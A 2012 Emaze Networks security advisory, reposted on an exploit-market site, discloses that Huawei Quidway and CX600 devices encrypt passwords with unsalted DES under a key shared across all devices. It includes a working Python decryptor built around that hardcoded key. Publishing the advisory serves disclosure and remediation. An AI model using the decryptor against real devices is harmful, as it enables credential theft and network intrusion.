[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Huawei Quidway / Huawei CX600 Weak Password Encryption

Author
Roberto Paleari
Risk
[
Security Risk High
]
0day-ID
0day-ID-19734
Category
local exploits
Date add
14-11-2012
Platform
hardware
Weak password encryption on Huawei products
===========================================

[ADVISORY INFORMATION]
Title:    Weak password encryption on Huawei products
Release date:   13/11/2012
Credits:   Roberto Paleari, Emaze Networks (roberto.paleari@emaze.net)
    Ivan Speziale,   Emaze Networks (ivan.speziale@emaze.net)

[VULNERABILITY INFORMATION]
Class:           Information disclosure

[AFFECTED PRODUCTS]
We confirm the presence of this security vulnerability on the following
products:
   * Huawei Quidway series
   * Huawei CX600

Other models are probably also vulnerable, but they were not checked.

[VULNERABILITY DETAILS]
Huawei devices support a weak password encryption algorithm. With this scheme,
passwords are obfuscated and encrypted with DES, using an encryption key shared
among all the affected devices. This encryption scheme does not use any
password salting mechanism. As a consequence, passwords extracted from a
victim's device can be deciphered instantaneously.

A Python procedure that decodes a given password is included below. Upon
termination, procedure decrypt_password() returns the clear-text password.

<cut>
from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)

    r = r[:16]

    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)

    return r.rstrip("\x00")
</cut>


[REMEDIATION] 
We recommend to store passwords using a proper hashing algorithm, instead of
leveraging symmetric encryption. At the moment, this issue has been addressed
by Huawei with security advisory Huawei-SA-20120827-01-CX600 ("Updated Security
Advisory on the Risk of Password Being Cracked Due to DES Encryption
Algorithm"). Further details are available at the following URL:
http://support.huawei.com/enterprise/ReadLatestNewsAction.action?contentId=NEWS1000001141

[COPYRIGHT]
Copyright(c) Emaze Networks S.p.A 2012, All rights reserved worldwide.
Permission is hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers remain intact.

[DISCLAIMER]
Emaze Networks S.p.A is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service to the
professional security community. There are NO WARRANTIES with regard to this
information. Any application or distribution of this information constitutes
acceptance AS IS, at the user's own risk. This information is subject to change
without notice.

#  0day.today [2024-12-25]  #